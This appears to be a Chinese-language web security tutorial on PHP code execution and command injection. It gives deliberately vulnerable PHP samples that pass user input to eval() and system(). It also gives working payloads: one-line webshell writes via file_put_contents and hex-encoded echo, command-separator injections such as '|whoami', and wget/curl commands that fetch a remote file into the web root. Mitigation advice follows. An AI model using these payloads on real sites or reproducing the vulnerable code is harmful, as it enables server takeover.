赞
踩
漏洞成因
由于服务端存在执行的函数,在使用的过程中没有做好一个严格的控制,造成了实际的参数在客户端中可控。
漏洞危害
敏感信息泄露
webshell获取
命令执行
任意文件读取
权限提升
…
代码执行相关函数
$pattern, $replacement, $subject
)静态函数执行:
eval()函数是将输入的字符串当做PHP代码执行。
assert()会检查指定的 assertion(断言) 并在结果为 FALSE 时采取适当的行动。
实例代码:
<?php
eval('phpinfo();');
assert('phpinfo();');
?>
动态函数执行:
实例代码:
<?php
$code=$_GET["name"];
eval($code);
?>
获取绝对路径:
__FILE__
是php预定义的常量,可以用来获取当前文件的绝对路径,?code=print(_FILE_
);
文件读取:
file_get_contents()函数用来读取服务器文件,?code=var_dump(file_get_contents(‘c:\windows\win.ini’));
写入一句话木马:
使用file_put_contents()函数写入一句话木马,前提必须知道路径,?code=file_put_contents('$_POST['filename']','$_POST['code']')
;
然后借助hackbar去提交filename=shell.php&code=<?php eval($_POST['x']);?>
即可在当前目录生成一句话木马。
升级到PHP 7.1
php.ini中,关闭“allow_url_fopen”。在打开它的情况下,可以通过 phar:// 等协议丢给include,让其执行动态代码。
永远不要在代码中使用eval。
严格进行过滤。
漏洞介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。
漏洞成因
用户可控点可以使用管道符进行命令拼接
参数点的过滤不严格,或者可以被绕过
漏洞危害
继承Web服务器程序的权限,去执行系统命令
继承Web服务器程序的权限,读写文件
反弹shell
写Webshell
控制整个网站
甚至控制整个服务器
相关函数
system() 有回显, 输出并返回最后一行shell结果。
passthru()(有回显),只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
exec() (回显最后一行-必须echo输出)不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
shell_exec() (无回显-必须输出)
反引号:``
popen(handle,mode)(无回显,返回指针,需要将结果存到文件中)不会直接返回执行结果,而是返回一个文件指针
proc_open(‘cmd’,‘flag’,‘flag’)(无回显)不会直接返回执行结果,而是返回一个文件指针
命令注入漏洞及利用
实例代码:
<?php
$arg = $_GET['cmd'];
if($arg){
system("$arg");
}
?>
实例代码:
<?php
$ip = $_GET['ip'];
if($ip){
system("ping –c 3 $ip");
}
?>
命令注入绕过:
Windows:
WINDOWS:用^转义<,即执行echo^<?php eval($_POST['x']);?^>>web
可写目录加文件完整名字
LINUX:需要用\来转义<,不过很多PHP都默认开启gpc(魔术引号magic_qutes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原。
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web
可写目录加文件完整名字
管道符说明:
|:
管道符,将一个程序的输出作为另一个程序的输入
>:
输出重定向,将程序的输出流入到某个程序或者文本中
>>:
追加输出重定向,将输出的内容追加到一个文件的末尾
<:
输入重定向,将输入的内容重定向到文件或程序中
其他特殊符号:
Windows平台:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
Linux平台:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能真 ping 127.0.0.1&&whoami
LOW级别:127.0.0.1|whoami
medium级别:127.0.0.18dir
hight级别:127.0.0.1|whami
Imopssible简单解析
发现它限制了我们的IP格式,这就是所谓的白名单,可以有效的防止命令注入。不推荐黑名单,应该可以通过双引号,略过黑名单,linux下还支持单引号
利用命令执行写入一句话
前提:有写入权限
执行PWD得到绝对路径
直接写:?cmd=echo"<?php phpinfo()?>">info.php
不可写时:?cmd=wget -o /var/www/html/info.php http://www.remote.com/phpinfo/txt
不可写时:?cmd=curl http://www/remote.com/phpinfo.txt>/var/www/html/info.php
修复建议:
输入点字符串转义、转码
禁用一些危险函数,关闭 exec,passthru,shell_exec,system 等函数,禁止PHP调用外部程序。
黑名单:过滤特殊字符或替换字符
白名单:只允许特殊输入的类型/长度
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。